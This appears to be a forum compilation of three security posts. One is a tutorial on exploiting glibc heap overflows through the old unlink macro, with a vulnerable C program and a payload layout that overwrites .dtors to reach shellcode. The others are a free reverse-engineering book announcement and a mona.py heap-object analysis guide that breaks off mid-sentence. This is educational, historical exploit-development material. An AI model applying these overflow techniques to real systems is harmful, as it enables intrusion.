Nytro

x86 Exploitation 101: heap overflows… unlink me, would you please? Well, do the previous techniques apply to the dynamic allocation scenario? What if, instead of a statically allocated array, there’s a malloc-ed space? Would that work? Well, more or less, but things get REALLY more complicated. And I mean it for real. So, instead of stack overflows, there will be heap overflows: problem is that heap and stack work in different ways. In addition, the heap is handled differently according to the allocator implementation: this makes heap overflow exploits really dependent on the allocator implementation and on the operating system. As for now I’m taking care about Linux, I decided to analyze the exploitation scenario and the history of the most common Linux allocator, i.e. the one included in GNU C library (glibc). Why should I care about the history? Glibc developers patched, time after time, the most of the bugs in the malloc implementation that allowed exploits to work. This, anyway, is a good training exercise to really get into this stuff and understand the general thought. Also, as the exploitation of a heap overflow strongly relies on the implementation of the allocator, a deep analysis on how it’s implemented is mandatory. So, first things first. How is the malloc implemented in glibc? The implementation is a variation of the ptmalloc2 implementation, which is a variation of dlmalloc. Anyway, as the glibc code says, “There have been substantial changes made after the integration into glibc in all parts of the code. Do not look for much commonality with the ptmalloc2 version”. Even if it’s a variation of a variation, the fundamental ideas are still the same. Actually the ptmalloc2 supports more than one heap at the same time, and each heap is identified by the following structure: [INDENT] typedef struct _heap_info { mstate ar_ptr; /* Arena for this heap. */ struct _heap_info *prev; /* Previous heap. */ size_t size; /* Current size in bytes. */ size_t mprotect_size; /* Size in bytes that has been mprotected PROT_READ|PROT_WRITE. */ /* Make sure the following data is properly aligned, particularly that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of MALLOC_ALIGNMENT. */ char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; [/INDENT] The most important thing in this structure is the ar_ptr variable, as it’s a pointer to the arena, i.e. the heap itself. Also, there’s the size variable storing the size of the heap. Having more than one heap in a multi-threading context is really useful, as if a thread is reading the content of a variable in a given arena and another thread asks to allocate new memory, it is possible to create a new arena and use the newly created one to perform all the required operations. Each arena is described by the following structure: [INDENT] struct malloc_state { /* Serialize access. */ mutex_t mutex; /* Flags (formerly in max_fast). */ int flags; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. */ struct malloc_state *next_free; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; [/INDENT] In this structure, there’s the mutex for this arena, used during concurrent accesses, and two other really important fields: top and bins. The top field is a chunk of memory (the fundamental element of the allocator) and it’s where the data for which the space has been allocated are going to be stored. Each chunk in this is a memory fragment that can be allocated. At the beginning, there’s only one big chunk in the arena (called wilderness), which is pointed by the top field itself: this chunk is always free and its size represents the free space of the arena. Also it marks the end of the available space of the arena. The bins array is composed by double-linked lists to chunks that were allocated and that were successively freed (this means that, at the beginning, all the bins are empty). Each bin stores a list of chunks of specified size in order to allow the allocator to easily search for a free chunk, given the size: the research will be performed by starting looking for the smallest and best-fitting one. The chunk is described by the following structure: [INDENT] struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; [/INDENT] The different fields of this structure are used in different ways, depending on the status of the chunk itself. If the chunk is allocated, only the first two fields are present. The prev_size fields specifies the size of the previous chunk if the previous one is free (if it is allocated, then this field is “shared” with the previous chunk, enlarging it of 4 bytes, in order to decrease the waste of space), while the size field specifies the size of the current chunk. Then, if the chunk is in free state, there are in addition two pointers: fd and bk. These are the pointers used to double link the list of chunks. The other two pointers (present anyway only in free chunks) are not that important in this context and won’t be examined. How come there’s no flag to tell if the current chunk is free or allocated? Well, a feature of the chunks in this implementation is that they are 8-bytes aligned: this means that the last three bits of the size field can be used as general purpose flags. The LSB of the size variable tells us if the previous chunk is allocated or not (PREV_INUSE) The following bit tells if the chunk was allocated by using the mmap system call (IS_MMAPPED) The third bit specifies if the chunk is stored in the main arena or not (NON_MAIN_ARENA) In order to know if a given chunk is free or not it is necessary to get the next chunk by adding size to the pointer of the current chunk (obtaining the address of the next chunk), and checking the LSB of the size field of the next chunk. When the malloc function is called, the first thing done is to search in the bins if there’s already a previously-freed chunk available matching the specified size, otherwise, a new chunk is created in the wilderness next to last allocated one. If a chunk is found in the bins, it is necessary to remove it from the list, in order to keep the whole structure coherent. This is done by using the infamous unlink macro defined in malloc.c: this macro uses the bk and the fd fields of the chunk to be moved to perform its task. Before glibc 2.3.4 (released at the end of the 2004), the unlink macro was defined as follows: [INDENT] /* Take a chunk off a bin list */ #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ } [/INDENT] This macro is just an extraction of an item from a double-linked list: business as usual. If no space is available on the heap, new memory for the heap is requested to the operating system, by using the sbrk or the mmap system call (if mmap is used, then the chunk is marked with the IS_MMAPPED bit). The heap address where the chunk has been allocated is then returned to malloc. However there’s another situation in which the unlink macro may be used: during a free. In fact, if the chunk(s) next (both before and after) to the one that is going to be freed is/are not used, then all of them are merged together in one chunk. This means that all the chunks that were in free status before the merging need to be unlinked from the bins where they were by using the aforementioned macro. The resulting chunk is finally moved to the unsorted_chunks list On July 2000, Solar Designer on Openwall and then on November 2001 MaXX on Phrack #57, published two articles on how to exploit this macro. Their whole point is: what if it was possible to modify the fd and the bk pointers? In fact, if we look at the malloc_chunk structure, the whole unlink macro can be reduced to the following instructions: [INDENT] FD = *P + 8; BK = *P + 12; FD + 12 = BK; BK + 8 = FD; [/INDENT] This means that, if we could control the fd and the bk pointers, it would be possible to overwrite the FD+12 location with the BK content. If BK points to the shellcode address, that would be awesome. Actually the BK+8 location gets overwritten as well, and that would be in the middle of the shellcode itself: this means that the first instruction of the shellcode should jump over this overwritten part. Here the chance of overwriting any DWORD of memory is given: the problem is which one would be of any use to be overwritten? Overwriting the return address, just like in the stack overflows, is a painful, as it depends on the stack situation at the moment. Interesting alternatives would be about overwriting something in libc, an exception handler address, or the free function address itself. This means that every single function pointer can actually be overwritten. MaXX, in his article on Phrack, proposed the idea of overwriting the first function pointer emplacement in the .dtors section (he actually re-proposed the ideas already exposed in this article). gcc provides an interesting feature: constructors and destructors. The idea behind this is exactly the same used in C++ for classes. It is possible to specify attributes for some functions that will be automatically executed before the main function (constructors) or after (destructors). The declarations are specified in the following way: static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); where start and stop are arbitrary names for functions. The addresses of these functions will be stored, respectively, in the .ctors and in .dtors section in the following way: there are 4 bytes set to 0xFF at the beginning and 4 bytes set to 0x00 at the end and, in between, there are the addresses of the functions. Of course, if there are no constructors/destructors defined, the .ctors/.dtors section would look like 0xFFFFFFFF 0x00000000. The goal is to overwrite the 0x00000000 part with the address of the function that has to be executed as a constructor (the head MUST be left as 0xFFFFFFFF). So, the “only” thing left to do is to be able to control the fd and the bk pointers. How this can be done? To do this, two adjacent allocate chunks are required and an overflow must be possible on the first one. In fact, let’s say that we have the following piece of code: [INDENT] #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { char *first_buf; char *second_buf; first_buf = (char *)malloc(78 * sizeof(char)); second_buf = (char *)malloc(20 * sizeof(char)); strcpy(first_buf, argv[1]); free(first_buf); free(second_buf); return 0; } [/INDENT] The heap situation will look like: first_buf size has been aligned to 8-bit (so, from 78 to 80 byte of buffer space) and includes the prev_size and the size fields (80+4+4=88). In addition the LSB has been set to 1, as the chunk is used: the final size for this chunk is 89 (0x59). The second_buf chunk size is already 8-bit aligned and shares the first 4 bytes with the previous chunk: this means that the final size of the chunk itself is 25 (0x19), as the LSB is set as well. It is clear that, if we overflow first_buf, it is possible to overwrite the data of second_buf (metadata included). So here’s the strategy: The second_buf chunk must be “transformed” into a freed chunk The address of memory where the 4 bytes are going to be written (minus 12) must be stored in the fd field of the chunk storing second_buf The 4 bytes to be written must be stored in the bk field of the chunk storing second_buf The whole thing must be triggered when free(first_buf) is executed The strategy is pretty simple: the only tricky point is the first one, but its solution is simple and awesome. Glibc’s implementation of malloc checks if a chunk is free or not with the following macro: #define inuse_bit_at_offset(p, s) (((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE) where p is the address of the chunk and s is its size (it actually checks the PREV_INUSE bit of the size field of the following chunk). This would mean modify a third chunk? Well, no… What if the size of the second chunk is set to 0? The size of the second chunk itself is read! As the size is set to 0, the PREV_INUSE bit is clear: according to glibc the second_buf is a free chunk. That’s everything we need, actually. The payload to be written in first_buf will be: 78 bytes of useless data 4 bytes of useless data overwriting the prev_size field of second_buf‘s chunk 4 bytes set to 0 overwriting the size field of second_buf‘s chunk 4 bytes set to the address of the last for bytes of dtors (the one having 0x00000000) overwriting the bk field of second_buf‘s chunk 4 bytes set to the address of the shellcode to be executed overwriting the fd field of second_buf‘s chunk This is really everything’s needed to execute an heap overflow exploiting the unlink macro bug. An alternative way of exploitation exists: the double-free scenario. What happens if the same chunk is freed twice? Some glibc’s versions ago, it would have been inserted twice in the free chunks list. Let’s say that one of these two chunks is then reallocated and that we modify the locations where the fd and bk fields are. Then let’s say that we get managed to allocate the “second” chunk still in the free list: as the unlink macro is called at allocation time as well, the whole mechanism is triggered again in a similar way. This trick known as the double-free exploitation, and even if it’s not THAT documented, there are known exploits aiming at this kind of vulnerability. Sadly, all this won’t work nowadays for four reasons: The RELRO technique (enabled by default on recent Linux distributions) marks the relocation sections used to dynamically dynamically loaded functions read-only (.ctors, .dtors, .jcr, .dynamic and .got): this means that the program crashes if it tries to modifies one of these sections. The __do_global_dtors_aux function (which is the one executing the destructors) has been hardened in 2007 in such a way that only the destructors actually defined in the code are going to be executed. As said at the beginning, the unlink macro has been hardened in order to check the pointers before unlinking: #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ FD->bk = BK; \ BK->fd = FD; \ } \ } In a normal situation P->fd->bk points to P (the same is true for P->bk->fd): if this isn’t the case, then it means that the pointers have been modified and that the double-linked list is corrupted. Checks for double free have been added more or less everywhere The next step in this field is the publication of another article on Phrack #61 by jp on August 2003 (still, some time before the unlink macro was patched on glibc) that aims at build a higher layer on what MaXX discovered two years before. jp’s main point is: what should I do if I know that I can write four bytes of its memory with almost any arbitrary data with the unlink technique? At the beginning of the paper he defined the new acronym aa4bmo meaning “Almost Arbitrary 4 Bytes Mirrored Overwrite” and for respect’s sake I will keep using this acronym from now on. When MaXX wrote his article, there was no NON_MAIN_ARENA bit, so what jp did is an update of the techniques exposed by MaXX in order to have them working on the 2003 version of glibc and the implementation of the aa4bmoPrimitive function that allows to write more or less complex programs exploiting the aforementioned vulnerability. Based on the aa4bmo primitive, Phantasmal Phantasmagoria wrote another interesting article called “Exploiting the Wilderness“: in fact he proved that, in case an overflowable buffer is located next to the wilderness, then it is possible to have the aa4bmo. Of course, this jp’s whole work (and everything else based on that) stopped working when the unlink macro was hardened. MaXX, jp and Phantasmal Phantasmagoria’s work were an important step in heap overflow exploitation’s history, as they opened minds to new roads and it didn’t take too much to realize that there were/are other ways to exploit heap overflows. In fact, in 2005 Phantasmal Phantasmagoria came out with a theoretical article Malloc Maleficarum and started a new rush to the heap overflow exploits. All these next steps will be explained in the next article. Sursa: x86 Exploitation 101: heap overflows… unlink me, would you please? | gb_master's /dev/null

[h=2]"Reverse Engineering for Beginners" free book[/h] Written by Dennis Yurichev (yurichev.com). [h=3]Praise for the book[/h] Its very well done .. and for free .. amazing.' (Daniel Bilar, Siege Technologies, LLC.) ...excellent and free (Pete Finnigan, Oracle RDBMS security guru.). ... book is interesting, great job! (Michael Sikorski, author of Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software.) ... my compliments for the very nice tutorial! (Herbert Bos, full professor at the Vrije Universiteit Amsterdam.) ... It is amazing and unbelievable. (Luis Rocha, CISSP / ISSAP, Technical Manager, Network & Information Security at Verizon Business.) Thanks for the great work and your book. (Joris van de Vis, SAP Netweaver & Security specialist.) ... reasonable intro to some of the techniques. (Mike Stay, teacher at the Federal Law Enforcement Training Center, Georgia, US.) [h=3]As seen on...[/h] ... hacker news: #1, #2, reddit: #1, #2, #3, #4, #5, #6, habrahabr. [h=3]Contents[/h] Topics discussed: x86, ARM. Topics touched: Oracle RDBMS, Itanium, copy-protection dongles, LD_PRELOAD, stack overflow, ELF, win32 PE file format, x86-64, critical sections, syscalls, TLS, position-independent code (PIC), profile-guided optimization, C++ STL, OpenMP, win32 SEH. [h=3]Download PDF files[/h] [TABLE] [TR] [TD=class: dl1]Download English version[/TD] [TD=class: dl2]A4 (for browsing or printing) [/TD] [TD=class: dl2]A5 (for ebook readers)[/TD] [/TR] [TR] [TD=class: dl1] ??????? ??????? ?????? [/TD] [TD=class: dl2] A4 (??? ????????? ??? ??????) [/TD] [TD=class: dl2] A5 (??? ??????????? ???????) [/TD] [/TR] [/TABLE] [h=3]Supplementary materials[/h]Exercises, exercise solutions[h=3]Be social![/h]Feel free to send me corrections, or, it's even possible to submit patches on book's source code (LaTeX) on GitHub or gitorious or Google Code or BitBucket, or SourceForge! There is also supporting forum! You may ask any questions there! Or write me an email: dennis(a)yurichev.com [h=3]News[/h]See ChangeLog [h=3]Stay tuned![/h]My current plans for this book: MIPS, Objective-C, Visual Basic, anti-debugging tricks, Windows NT kernel debugger, Java, .NET, Oracle RDBMS. Subscribe to my twitter. Here is also my blog. Web 2.0 hater? Subscribe to my mailing list for receiving updates of this book to email. [h=3]Please donate![/h][TABLE] [/TABLE] [TABLE] [TR] [TD=class: dl2]Ways to donate[/TD] [/TR] [/TABLE] This book is free, freely available, also in source code form (LaTeX), and it will be so forever, I have no plans for publishing. So if you want me to continue, you may consider donating. Several ways to are available on this page: donate. Every donor name will be included in the book! Donor also have a right to rearrange items in my writing plan. Sursa: "Reverse Engineering for Beginners" free book

Analyzing heap objects with mona.py Published August 16, 2014 | By Corelan Team (corelanc0d3r) Introduction Hi all, While preparing for my Advanced exploit dev course at Derbycon, I’ve been playing with heap allocation primitives in IE. One of the things that causes some frustration (or, at least, tends to slow me down during the research) is the ability to quickly identify objects that may be useful. After all, I’m trying to find objects that contain arbitrary data, or pointers to arbitrary data, and it’s not always easy to do so because of the noise. I decided to add a few new features to mona.py, that should allow you to find interesting objects in a faster way. The new features are only available under WinDBG. To get the latest version of mona, simply run !py mona up. Since I also upgraded to the latest version of pykd, you may have to update pykd.pyd as well before you can run the latest version of mona. (You should see update instructions in the WinDBG log window when you try to run mona with an outdated version of pykd) dumpobj (do) The first new feature is "dumpobj". This mona.py command will dump the contents of an object and provide (hopefully) useful information about the contents. The command takes the following arguments: Usage of command 'dumpobj' : ----------------------------- Dump the contents of an object. Arguments: -a <address> : Address of object -s <number> : Size of object (default value: 0x28 [COLOR=#5576D1]or[/COLOR] size of chunk) Optional arguments: -l <number> : Recursively dump objects -m <number> : Size [COLOR=#5576D1]for[/COLOR] recursive objects (default value: 0x28) As you can see in the output of !py mona help dumpobj above, we need to provide at least 2 arguments: -a <address> : the start location (address of the object, but you can specifiy any location you want) -s <number> : the size of the object. If you don’t specify the -s argument, mona will attempt to determine the size of the object. If that is not possible, mona will dump 0×28 bytes of the object. Additionally, you can tell mona to dump linked objects as well. Argument -l takes a number, which refers to the number of levels for the recursive dump. In order to somewhat limit the size of the output (and for performance reasons), only the first 0×28 bytes of the linked objects will be printed (unless you use argument -m to overrule this behavior). Of course, it is quite trivial to dump the contents of an object in WinDBG. The dds or dc commands will print out objects and show some information about its contents. In some cases, the output of dds/dc is not sufficient and it would require some additional work to further analyze the object and optional objects that are linked inside this object. Let’s look at an example. Let’s say we have a 0×78 byte object at 0x023a1bc0. Of course, we can dump the contents of the object using native WinDBG commands: 0:001> dds 0x023a1bc0 L 0x78/4 023a1bc0 023a1d30 023a1bc4 023a1818 023a1bc8 00000000 023a1bcc 023a1d3c 023a1bd0 023a1824 023a1bd4 baadf00d 023a1bd8 00020000 023a1bdc 00000001 023a1be0 00160014 023a1be4 023a1a38 023a1be8 013a0138 023a1bec 023a1a68 023a1bf0 00000000 023a1bf4 00000001 023a1bf8 023a18a8 023a1bfc 00000000 023a1c00 00000000 023a1c04 00000007 023a1c08 00000007 023a1c0c 023a18d0 023a1c10 00000000 023a1c14 00000000 023a1c18 00000000 023a1c1c 00000000 023a1c20 00000000 023a1c24 00000000 023a1c28 00000000 023a1c2c 00000000 023a1c30 00000000 023a1c34 00000000 0:001> dc 0x023a1bc0 L 0x78/4 023a1bc0 023a1d30 023a1818 00000000 023a1d3c 0.:...:.....<.:. 023a1bd0 023a1824 baadf00d 00020000 00000001 $.:............. 023a1be0 00160014 023a1a38 013a0138 023a1a68 ....8.:.8.:.h.:. 023a1bf0 00000000 00000001 023a18a8 00000000 ..........:..... 023a1c00 00000000 00000007 00000007 023a18d0 ..............:. 023a1c10 00000000 00000000 00000000 00000000 ................ 023a1c20 00000000 00000000 00000000 00000000 ................ 023a1c30 00000000 00000000 ........ Nice. We can see all kinds of things – values that appear to be pointers, nulls, and some other "garbage". Hard to tell what it is without looking at each value individually. With mona, we can dump the same object, and mona will attempt to gather more information about each dword in the object: 0:001> !py mona [COLOR=#5576D1]do[/COLOR] -a 0x023a1bc0 Hold on... [+] No size specified, checking [COLOR=#5576D1]if[/COLOR] address is part of known heap chunk Address found [COLOR=#5576D1]in[/COLOR] chunk 0x023a1bb8, heap 0x00240000, (user)size 0x78 ---------------------------------------------------- [+] Dumping object at 0x023a1bc0, 0x78 bytes [+] Preparing output file 'dumpobj.txt' - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt [+] Generating [COLOR=#5576D1]module[/COLOR] info table, hang on... - Processing modules - Done. Let's rock 'n roll. >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1bc0 (0x78 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1bc0 | 0x023a1d30 (Heap) ptr to ASCII '0::' +04 0x023a1bc4 | 0x023a1818 (Heap) ptr to ASCII ':' +08 0x023a1bc8 | 0x00000000 +0c 0x023a1bcc | 0x023a1d3c (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4 +10 0x023a1bd0 | 0x023a1824 (Heap) ptr to ASCII ':' +14 0x023a1bd4 | 0xbaadf00d +18 0x023a1bd8 | 0x00020000 = UNICODE ' ' +1c 0x023a1bdc | 0x00000001 +20 0x023a1be0 | 0x00160014 = UNICODE '' +24 0x023a1be4 | 0x023a1a38 (Heap) ptr to UNICODE 'Basic User' +28 0x023a1be8 | 0x013a0138 (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +2c 0x023a1bec | 0x023a1a68 (Heap) ptr to UNICODE 'Allows programs to execute as a user that does [COLOR=#5576D1]not[/COLOR] have Administrator [COLOR=#5576D1]or[/COLOR] Power User access rights, but can still access resouces accessible by normal users.' +30 0x023a1bf0 | 0x00000000 +34 0x023a1bf4 | 0x00000001 +38 0x023a1bf8 | 0x023a18a8 +3c 0x023a1bfc | 0x00000000 +40 0x023a1c00 | 0x00000000 +44 0x023a1c04 | 0x00000007 +48 0x023a1c08 | 0x00000007 +4c 0x023a1c0c | 0x023a18d0 (Heap) ptr to ASCII ' :H:[COLOR=#00008b]p[/COLOR]:' +50 0x023a1c10 | 0x00000000 +54 0x023a1c14 | 0x00000000 +58 0x023a1c18 | 0x00000000 +5c 0x023a1c1c | 0x00000000 +60 0x023a1c20 | 0x00000000 +64 0x023a1c24 | 0x00000000 +68 0x023a1c28 | 0x00000000 +6c 0x023a1c2c | 0x00000000 +70 0x023a1c30 | 0x00000000 +74 0x023a1c34 | 0x00000000 [+] This mona.py action took 0:00:00.579000 Apparently some of the values in the object point at strings (ASCII and Unicode), another point appears to link to another object (ADVAPI32!g_CodeLevelObjTable+0×4). This is a lot more useful than dds or dc. But we can make it even better. We can tell mona to automatically print out linked objects as well, up to any level deep. Let’s repeat the mona command, this time asking for linked objects up to one level deep: 0:001> !py mona [COLOR=#5576D1]do[/COLOR] -a 0x023a1bc0 -l 1 Hold on... [+] No size specified, checking [COLOR=#5576D1]if[/COLOR] address is part of known heap chunk Address found [COLOR=#5576D1]in[/COLOR] chunk 0x023a1bb8, heap 0x00240000, (user)size 0x78 ---------------------------------------------------- [+] Dumping object at 0x023a1bc0, 0x78 bytes [+] Also dumping up to 1 levels deep, max size of nested objects: 0x28 bytes [+] Preparing output file 'dumpobj.txt' - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt [+] Generating [COLOR=#5576D1]module[/COLOR] info table, hang on... - Processing modules - Done. Let's rock 'n roll. >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1bc0 (0x78 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1bc0 | 0x023a1d30 (Heap) ptr to ASCII '0::' +04 0x023a1bc4 | 0x023a1818 (Heap) ptr to ASCII ':' +08 0x023a1bc8 | 0x00000000 +0c 0x023a1bcc | 0x023a1d3c (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4 +10 0x023a1bd0 | 0x023a1824 (Heap) ptr to ASCII ':' +14 0x023a1bd4 | 0xbaadf00d +18 0x023a1bd8 | 0x00020000 = UNICODE ' ' +1c 0x023a1bdc | 0x00000001 +20 0x023a1be0 | 0x00160014 = UNICODE '' +24 0x023a1be4 | 0x023a1a38 (Heap) ptr to UNICODE 'Basic User' +28 0x023a1be8 | 0x013a0138 (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +2c 0x023a1bec | 0x023a1a68 (Heap) ptr to UNICODE 'Allows programs to execute as a user that does [COLOR=#5576D1]not[/COLOR] have Administrator [COLOR=#5576D1]or[/COLOR] Power User access rights, but can still access resouces accessible by normal users.' +30 0x023a1bf0 | 0x00000000 +34 0x023a1bf4 | 0x00000001 +38 0x023a1bf8 | 0x023a18a8 (Heap) ptr to 0x00000101 : +3c 0x023a1bfc | 0x00000000 +40 0x023a1c00 | 0x00000000 +44 0x023a1c04 | 0x00000007 +48 0x023a1c08 | 0x00000007 +4c 0x023a1c0c | 0x023a18d0 (Heap) ptr to ASCII ' :H:[COLOR=#00008b]p[/COLOR]:' +50 0x023a1c10 | 0x00000000 +54 0x023a1c14 | 0x00000000 +58 0x023a1c18 | 0x00000000 +5c 0x023a1c1c | 0x00000000 +60 0x023a1c20 | 0x00000000 +64 0x023a1c24 | 0x00000000 +68 0x023a1c28 | 0x00000000 +6c 0x023a1c2c | 0x00000000 +70 0x023a1c30 | 0x00000000 +74 0x023a1c34 | 0x00000000 >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1d3c (0x28 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1d3c | 0x77e46464 ADVAPI32!g_CodeLevelObjTable+0x4 +04 0x023a1d40 | 0x023a1bcc (Heap) ptr to ASCII '<:$:' +08 0x023a1d44 | 0xbaadf00d +0c 0x023a1d48 | 0x00040000 = UNICODE ' ' +10 0x023a1d4c | 0x00000101 +14 0x023a1d50 | 0x001a0018 = UNICODE '' +18 0x023a1d54 | 0x023a1c50 (Heap) ptr to UNICODE 'Unrestricted' +1c 0x023a1d58 | 0x0090008e (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +20 0x023a1d5c | 0x023a1c88 (Heap) ptr to UNICODE 'Software access rights are determined by the access rights of the user.' +24 0x023a1d60 | 0x00000000 >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a18a8 (0x28 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a18a8 | 0x00000101 +04 0x023a18ac | 0x05000000 +08 0x023a18b0 | 0x0000000a +0c 0x023a18b4 | 0xabababab +10 0x023a18b8 | 0xabababab +14 0x023a18bc | 0xfeeefeee +18 0x023a18c0 | 0x00000000 +1c 0x023a18c4 | 0x00000000 +20 0x023a18c8 | 0x0005000a = UNICODE '' +24 0x023a18cc | 0x051807c2 [+] This mona.py action took 0:00:00.640000 As you can see in the output above, mona determined that the source object contained references to 2 linked objects, and decided to dump those linked object as well. It’s important to know that mona won’t consider strings (ASCII or Unicode) as objects, because mona already shows the strings, even if they are referenced inside the object. The output of the dumpobj command is written to a text file called "dumpobj.txt". For your info, the output of !mona info -a <address> includes the output of mona dumpobj (without printing recursive objects). If you want to understand what exactly a given address is, you’ll get something like this: 0:001> !py mona info -a 0x023a1bc0 Hold on... [+] Generating [COLOR=#5576D1]module[/COLOR] info table, hang on... - Processing modules - Done. Let's rock 'n roll. [+] NtGlobalFlag: 0x00000070 0x00000040 : +hpc - Enable Heap Parameter Checking 0x00000020 : +hfc - Enable Heap Free Checking 0x00000010 : +htc - Enable Heap Tail Checking [+] Information about address 0x023a1bc0 {PAGE_READWRITE} Address is part of page 0x013c0000 - 0x023a2000 This address resides [COLOR=#5576D1]in[/COLOR] the heap Address 0x023a1bc0 found [COLOR=#5576D1]in[/COLOR] _HEAP @ 00240000, Segment @ 013c0040 ( bytes ) (bytes) HEAP_ENTRY Size PrevSize Unused Flags UserPtr UserSize Remaining - state 023a1bb8 00000090 00000158 00000018 [07] 023a1bc0 00000078 00000010 Fill pattern,Extra present,Busy ([COLOR=#00008b]hex[/COLOR]) 00000144 00000344 00000024 00000120 00000016 Fill pattern,Extra present,Busy (dec) Chunk header size: 0x8 (8) Size initial allocation request: 0x78 (120) Total space [COLOR=#5576D1]for[/COLOR] data: 0x88 (136) Delta between initial size [COLOR=#5576D1]and[/COLOR] total space [COLOR=#5576D1]for[/COLOR] data: 0x10 (16) [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Data.html"]Data[/URL] : 30 1d 3a 02 18 18 3a 02 00 00 00 00 3c 1d 3a 02 24 18 3a 02 0d f0 ad ba 00 00 02 00 01 00 00 00 ... ---------------------------------------------------- [+] Dumping object at 0x023a1bc0, 0x90 bytes [+] Preparing output file 'dumpobj.txt' - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1bc0 (0x90 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1bc0 | 0x023a1d30 (Heap) ptr to ASCII '0::' +04 0x023a1bc4 | 0x023a1818 (Heap) ptr to ASCII ':' +08 0x023a1bc8 | 0x00000000 +0c 0x023a1bcc | 0x023a1d3c (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4 +10 0x023a1bd0 | 0x023a1824 (Heap) ptr to ASCII ':' +14 0x023a1bd4 | 0xbaadf00d +18 0x023a1bd8 | 0x00020000 = UNICODE ' ' +1c 0x023a1bdc | 0x00000001 +20 0x023a1be0 | 0x00160014 = UNICODE '' +24 0x023a1be4 | 0x023a1a38 (Heap) ptr to UNICODE 'Basic User' +28 0x023a1be8 | 0x013a0138 (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +2c 0x023a1bec | 0x023a1a68 (Heap) ptr to UNICODE 'Allows programs to execute as a user that does [COLOR=#5576D1]not[/COLOR] have Administrator [COLOR=#5576D1]or[/COLOR] Power User access rights, but can still access resouces accessible by normal users.' +30 0x023a1bf0 | 0x00000000 +34 0x023a1bf4 | 0x00000001 +38 0x023a1bf8 | 0x023a18a8 (Heap) ptr to 0x00000101 : +3c 0x023a1bfc | 0x00000000 +40 0x023a1c00 | 0x00000000 +44 0x023a1c04 | 0x00000007 +48 0x023a1c08 | 0x00000007 +4c 0x023a1c0c | 0x023a18d0 (Heap) ptr to ASCII ' :H:[COLOR=#00008b]p[/COLOR]:' +50 0x023a1c10 | 0x00000000 +54 0x023a1c14 | 0x00000000 +58 0x023a1c18 | 0x00000000 +5c 0x023a1c1c | 0x00000000 +60 0x023a1c20 | 0x00000000 +64 0x023a1c24 | 0x00000000 +68 0x023a1c28 | 0x00000000 +6c 0x023a1c2c | 0x00000000 +70 0x023a1c30 | 0x00000000 +74 0x023a1c34 | 0x00000000 +78 0x023a1c38 | 0xabababab +7c 0x023a1c3c | 0xabababab +80 0x023a1c40 | 0x00000000 +84 0x023a1c44 | 0x00000000 +88 0x023a1c48 | 0x00120007 = UNICODE '' +8c 0x023a1c4c | 0x051e0752 [+] Disassembly: Instruction at 023a1bc0 : XOR BYTE PTR [B]dumplog (dl)[/B] It is clear that the dumpobj command will make it easier to visualize important information inside an object. This is certainly helpful if you already know the starting object. What if you have been logging all Heap allocations and free operations in the application and storing the output in a log file? Even a few lines of 